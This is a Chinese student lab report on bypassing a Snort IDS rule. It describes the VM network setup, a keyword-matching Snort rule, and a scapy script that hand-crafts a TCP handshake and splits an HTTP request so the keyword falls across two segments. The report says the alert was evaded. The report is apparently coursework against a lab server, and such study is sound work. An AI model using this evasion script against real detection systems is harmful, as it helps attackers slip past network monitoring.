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运⾏效果

配置环境  

主机  

Kali虚拟机(virtualbox)，安装snort防⽕墙，所有记录在[http://paste.ubuntu.com/26050228/]

攻击者  

Ubuntu 16.04虚拟机(virtualbox)，使⽤scapy分⽚，所有记录在[http://paste.ubuntu.com/26050382/]

⽹络配置  
Kali  

⽹卡1：内部⽹络，混杂模式-全部允许，⽹卡为eth0；

⽹卡2：桥接⽹卡，混杂模式-全部允许（连外⽹），⽹卡为eth1；

在虚拟机⾥⾯的设置：

1. 开启 ipforward

echo "1" > /proc/sys/net/ipv4/ip_forward

2. 修改 /etc/network/interfaces 如下，修改完之后使⽤命令 /etc/init.d/networking restart ⽣效
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3. iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -o eth1 -j MASQUERADE （参考助教

给的pdf）

现在 ifconfig ⼀下是这样的：

 

Ubuntu  

⽹卡1：内部⽹络，混杂模式-全部允许，⽹卡为enp0s3；

在虚拟机⾥⾯的设置：

# /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
 
auto eth0
iface eth0 inet static
address 192.168.2.1
netmask 255.255.255.0
 
auto eth1
iface eth1 inet dhcp

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.2.1  netmask 255.255.255.0  broadcast 192.168.2.255
        inet6 fe80::a00:27ff:fe78:a214  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:78:a2:14  txqueuelen 1000  (Ethernet)
        RX packets 7701  bytes 843382 (823.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12079  bytes 14768164 (14.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.172  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe75:9e9a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:75:9e:9a  txqueuelen 1000  (Ethernet)
        RX packets 27749  bytes 25104467 (23.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14584  bytes 1584952 (1.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 58  bytes 3270 (3.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 58  bytes 3270 (3.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
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1. 修改 /etc/resolv.conf 如下，配置DNS解析

 

2. iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.2.2 -j DROP （脚本在握⼿的时候，操作

系统⾃⼰会发送⼀个RST给⽬标，需要输⼊⼀条命令扔掉这个RST）

3. 修改 /etc/network/interfaces 如下，修改完之后使⽤命令 /etc/init.d/networking restart ⽣效

 

现在 ifconfig ⼀下是这样的：

 

Snort的配置  

1. cd /etc/snort/rules/ ；
2. vi local.rules ；
3. 加上这句： alert tcp any any -> any any (content: "extrahighlatency"; resp: rst_all; msg:  

"mitm!"; sid: 10087;) ；

4. vi ../snort.conf ；
5. 找到 preprocessor stream5_tcp 下⾯有⼀个 ports both ，把 80 删了；

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 127.0.1.1
nameserver 101.6.6.6

#/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
 
auto enp0s3
iface enp0s3 inet static
address 192.168.2.2
gateway 192.168.2.1
netmask 255.255.255.0

enp0s3    Link encap:Ethernet  HWaddr 08:00:27:65:a8:8f   
          inet addr:192.168.2.2  Bcast:192.168.2.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:34990 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14581 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000  
          RX bytes:35782864 (35.7 MB)  TX bytes:1447602 (1.4 MB)
 
lo        Link encap:Local Loopback   
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:5261 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5261 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000  
          RX bytes:362077 (362.0 KB)  TX bytes:362077 (362.0 KB)
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6. 启动snort： snort -A console -i eth0 -c ../snort.conf ；

攻击脚本  

以下是 sniff.py ，嗅探经过⽹卡的所有tcp包：

 

以下是 fragment.py ，从关键字处拆分tcp包并分别发送：

from scapy.all import *
sniff(iface='enp0s3',prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw: %Raw.load%\n}" ))
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启动的时候，先 python sniff.py ，然后换个terminal运⾏ python fragment.py ，并且确保Kali那边的snort已经
打开。这个时候开浏览器访问 http://lab.jinzihao.me/extrahighlatency/?time=2 ，会发现⼀直在reset，⽽直
接⽤脚本是能够出来 If you see this, you have successfully bypassed the IDS. 这句话的。

运⾏效果  

from scapy.all import *
import random,time
 
p0='GET /extrahighlate'
p1='ncy/?time=9 HTTP/1.1\r\nHost: lab.jinzihao.me\r\nUser-Agent: Mozilla/5.0 (X11; Linux  
x86_64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nAccept:  
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-
US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nUpgrade-Insecure-
Requests: 1\r\n\r\n'
sp=random.randint(1024,65535)
ip=IP(dst='104.160.38.132' )
 
SYN=TCP(sport=sp,dport=80,flags='S',seq=10)
SYNACK=sr1(ip/SYN)
my_ack=SYNACK.seq+1
next_seq=SYN.seq+1
ACK=TCP(ack=my_ack,seq=next_seq,sport=sp,dport=80,flags='A')
send(ip/ACK)
time.sleep(1)
 
RST=TCP(ack=my_ack,seq=next_seq,sport=sp,dport=80,flags='RA')
send(ip/RST)
time.sleep(2)
 
SYN=TCP(sport=sp,dport=80,flags='S',seq=11)
SYNACK=sr1(ip/SYN)
 
my_ack=SYNACK.seq+1
next_seq=SYN.seq+1
ACK=TCP(ack=my_ack,seq=next_seq,sport=sp,dport=80,flags='A')
send(ip/ACK)
 
PUSH=TCP(ack=my_ack,seq=next_seq,sport=sp,dport=80,flags='PA')
send(ip/PUSH/p0)
next_seq=ACK.seq+len(p0)
time.sleep(2)
 
PUSH=TCP(ack=my_ack,seq=next_seq,sport=sp,dport=80,flags='PA')
send(ip/PUSH/p1)
next_seq=ACK.seq+len(p1)
time.sleep(2)
 
RST=TCP(ack=my_ack,seq=next_seq,sport=sp,dport=80,flags='RA')
send(ip/RST)
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上图为fragment.py的运⾏结果（在虚拟机⾥⾯为了⽅便叫try.py）

上图为客⼾端中使⽤sniff.py的嗅探结果，可以看到发送的包被拆成了两段，并且成功得到了服务器发送过来的响应



上图为客⼾端中使⽤Wireshark抓包的结果，可以看到也是成功收到了响应的包。在发送get请求之后没有收到
reset，并且收到了HTTP 200。

上图为客⼾端直接使⽤浏览器访问，kali中的snort会弹出警告（最后⼀⾏）



上图为客⼾端使⽤攻击脚本时，snort的表现，可以看到没有 mitm! 警告输出，说明成功绕过防⽕墙。
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